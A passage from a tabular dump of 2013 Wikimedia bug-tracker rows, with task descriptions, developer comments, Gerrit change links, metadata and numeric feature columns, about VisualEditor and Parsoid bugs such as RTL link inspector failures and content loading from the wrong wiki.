+**Severity**: normal",High,80.0,1370932440,1386029219.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-d25o2mdf4mdptqcqy2de,task_description,declined,True,c1,2,False,False,False,-3,,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+252837,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)",AFAICT this is now fixed - marking as WORKSFORME. Please re-open if it recurs.,,,1386029219,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,3,True,,,22,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+252835,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)","Change 70949 had a related patch set uploaded by Inez:
+(bug 49424) Add empty lines before/after new block level images
+
+https://gerrit.wikimedia.org/r/70949",,,1372379464,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+252832,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)",Could someone provide step by step instruction how to reproduce this problem?,,,1372371000,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,2,False,,,-1,,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0
+252829,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)",The latter; my apologies for not reading correctly! :),,,1371242772,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+252825,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)","The first part of this bug is a duplicate of bug 49452 (""Whitespace-only headings should be collapsed to (blank) paragraphs""), so re-purposing to be about the deletion issue.
+
+@Steven - could you give more details about this bug with deletion magically hiding large blocks of text but not deleting them - was it in Chrome/Mac? Does it happen reliably (and can you reproduce now) or is it occasional?
+
+@Oliver - is the ""this"" that users have seen the deletion causing a paragraph to no longer appear but still be there, or the heading-not-being-fully-deleted issue?",,,1371242518,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,2,True,,,-3,,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,1,1,0,0
+252820,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)","This has also been reported by other users, and is something I observed in the usertesting videos we did, too.",,,1371126627,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,2,False,,,-3,,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+252813,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)","**swalling** wrote:
+
+Result
+
+Note empty header
+
+**Attached**: {F11801}",,,1370932504,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+252805,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)","**swalling** wrote:
+
+Diff
+
+**Attached**: {F11799}",,,1370932479,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+51421,VisualEditor: Activation of a selected block which is the first content not possible,"You can select it but the inspector menu doesn't trigger. Works fine if there's any content before the block.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1370912820,1371844292.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ws46dvvtpsd7zfz4gkae,task_description,resolved,True,c1,2,True,False,True,-3,,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+252619,VisualEditor: Activation of a selected block which is the first content not possible,Now fixed and will be put into production very soon.,,,1371844292,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ws46dvvtpsd7zfz4gkae,task_subcomment,,True,c1,2,True,,,-2,,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+252612,VisualEditor: Activation of a selected block which is the first content not possible,Related URL: https://gerrit.wikimedia.org/r/69707 (Gerrit Change I8bcdea0f7a6951216bf8368865d23ef6246880ea),,,1371753495,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ws46dvvtpsd7zfz4gkae,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+252606,VisualEditor: Activation of a selected block which is the first content not possible,"Happens if it's a block or floated template, or an inline or floated (thumb) image. Doesn't happen on an inline template or an inline-block template.",,,1371746901,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ws46dvvtpsd7zfz4gkae,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+51416,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,"Editing a page in a Hebrew wiki (possibly also in other RTL languages), adding a link does not show the popup. The word automatically becomes a wiki-link, no option to change the destination or make it an external link.
+
+The link seems to work well in English wikis.
+
+Tested on both my local install with the latest VE (VE-wmf6+) and on the hebrew wikipedia (VE-wmf5) and on both Firefox and Chrome.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",High,80.0,1370904180,1373002553.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-ze4pocno64vkraksutzp,task_description,resolved,True,c1,2,False,False,True,-3,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+252363,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,"Change 69281 abandoned by Mooeypoo:
+[WIP] Link surface fix for RTL
+
+Reason:
+Fixed in master.
+
+https://gerrit.wikimedia.org/r/69281",,,1373484938,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ze4pocno64vkraksutzp,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+252361,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,This works for me and seems to work in the hebrew wikipedia. Can be marked as resolved.,,,1373001408,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ze4pocno64vkraksutzp,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+252358,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,Give Moriel the credit given that she's done all the work on this bug so far - we'll try to get the patch properly reviewed so we can (hopefully?) merge and deploy it very soon.,,,1372001761,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ze4pocno64vkraksutzp,task_subcomment,,True,c1,2,True,,,-2,,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+252354,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,"I've been working on a fix for this but I may need some help with an issue.
+
+The position definition had to be changed in RTL, as it is hard-coded (calculated by the location of the word/selection.) That was completed successfully and the link surface appears correctly below the marked word in both LTR and RTL. 
+
+However, I am running into problems setting up the proper ""right"" dynamically-calculated value for the sub-popup TextInputMenuWidget, and my attempts to play around with left/right and windowWidths has failed. It appears ""almost right"" (a little to the left, a little to the right, skewed, etc) and I think I may be missing a property.
+
+I wonder if there is a possibility to get the ""right"" value of the link surface (that appears correctly) to implement it in the TextInputMenuWidget without having to call the element specifically.
+
+The fix below is still work in progress (Don't Merge!) but it should be completely fixed if I manage to figure out the position of the TextInputMenuWidget.",,,1371535364,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ze4pocno64vkraksutzp,task_subcomment,,True,c1,2,False,,,-2,,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+252349,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,Related URL: https://gerrit.wikimedia.org/r/69281 (Gerrit Change I312610ca630a8f75f1a0778e97f227f35a003b41),,,1371534862,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ze4pocno64vkraksutzp,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+252344,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,And the opposite is also true: The inspector is visible in the Hebrew Wikipedia if the interface language is English.,,,1371315442,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-ze4pocno64vkraksutzp,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+252338,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,"This also happens in the English wikipedia when the user interface is set to any rtl language.
+
+I tested with ?uselang=he ?uselang=ar and ?uselang=fa",,,1371058014,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ze4pocno64vkraksutzp,task_subcomment,,True,c1,2,False,,,-3,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+51411,Parsoid sometimes loads content from another wiki,"Screenshot of VisualEditor on the English Wikipedia
+
+I'm not even really sure how to explain this. I'll just include a screenshot.
+
+I went to <https://en.wikipedia.org/wiki/Ready,_Willing_and_Able_(Daron_Norwood_song)> and clicked ""edit this page"". This is what appeared.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11769}",High,80.0,1370897160,1373560843.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_description,resolved,True,c1,2,False,False,True,-3,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+252056,Parsoid sometimes loads content from another wiki,I am assuming this is not an issue any more given that we have had no reports after launch.  The launch should have caused a lot of corruptions if this bug had been around.  Closing.,,,1373560843,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+252049,Parsoid sometimes loads content from another wiki,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934035,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+252042,Parsoid sometimes loads content from another wiki,Please let us know if there are any new cases.,,,1372463719,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0
+252035,Parsoid sometimes loads content from another wiki,"Still happening - PamD reports that {{User sandbox}} on enwiki displayed in Japanese and gave the wrong user name (Apparently she's now User:Ichiro Kikuchi). It's stopped, but...worrying.",,,1372082680,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+252029,Parsoid sometimes loads content from another wiki,https://gerrit.wikimedia.org/r/69905 (Gerrit Change I495c294a5dbafadac133c0b377b576d297ca529d) | change APPROVED and MERGED [by jenkins-bot],,,1371845667,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+252021,Parsoid sometimes loads content from another wiki,Related URL: https://gerrit.wikimedia.org/r/69905 (Gerrit Change I495c294a5dbafadac133c0b377b576d297ca529d),,,1371845423,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+252014,Parsoid sometimes loads content from another wiki,https://gerrit.wikimedia.org/r/69880 (Gerrit Change I52abbc10e5fe6a6b9d97ef6d842943809c8f6d6d) | change APPROVED and MERGED [by jenkins-bot],,,1371834699,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+252008,Parsoid sometimes loads content from another wiki,Related URL: https://gerrit.wikimedia.org/r/69880 (Gerrit Change I52abbc10e5fe6a6b9d97ef6d842943809c8f6d6d),,,1371834091,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+252001,Parsoid sometimes loads content from another wiki,*** Bug 49939 has been marked as a duplicate of this bug. ***,,,1371829646,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+251996,Parsoid sometimes loads content from another wiki,New report: But 49939,,,1371829621,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+251991,Parsoid sometimes loads content from another wiki,Since there are no new reports it seems that this bug has been fixed by our config clean-up. Please reopen if you encounter this bug again.,,,1371774436,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+251985,Parsoid sometimes loads content from another wiki,I think this is now fixed.,,,1371774406,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+251981,Parsoid sometimes loads content from another wiki,*** Bug 49687 has been marked as a duplicate of this bug. ***,,,1371510441,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+251977,Parsoid sometimes loads content from another wiki,We deployed a few clean-ups to our wiki configuration handling recently which might have improved the handling of API errors when retrieving the per-wiki config fails. Has this bug been seen in the wild recently?,,,1371510235,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+251972,Parsoid sometimes loads content from another wiki,"We've seen a bunch of reports of content from different wikis showing up, usually German content (plus one case of Russian, and now one of French apparently). Moving this to Parsoid.",,,1371172273,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+251968,Parsoid sometimes loads content from another wiki,"Happened for me on pl.wp earlier today, too, with ""Vorlage"" as well. I didn't make a screenshot and I don't remember the aricle, sorry.",,,1371171596,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,0,1,0,0
+251963,Parsoid sometimes loads content from another wiki,"Created attachment 12510
+Screenshot of VisualEditor on the English Wikipedia being all weird
+
+""Vorlage""? Blergh.
+
+My suspicion is Parsoid cache pollution.
+
+**Attached**: {F11771}",,,1370899423,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-3,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0
+251956,Parsoid sometimes loads content from another wiki,"In attachment 12508, we can see that instead of the templates being shown with a green striped area atop them, there is ""Modèle:Infobox Single↵"", ""Modèle:Lari White↵↵↵↵↵"" and ""Modèle:1990s-country-song-stub"".
+
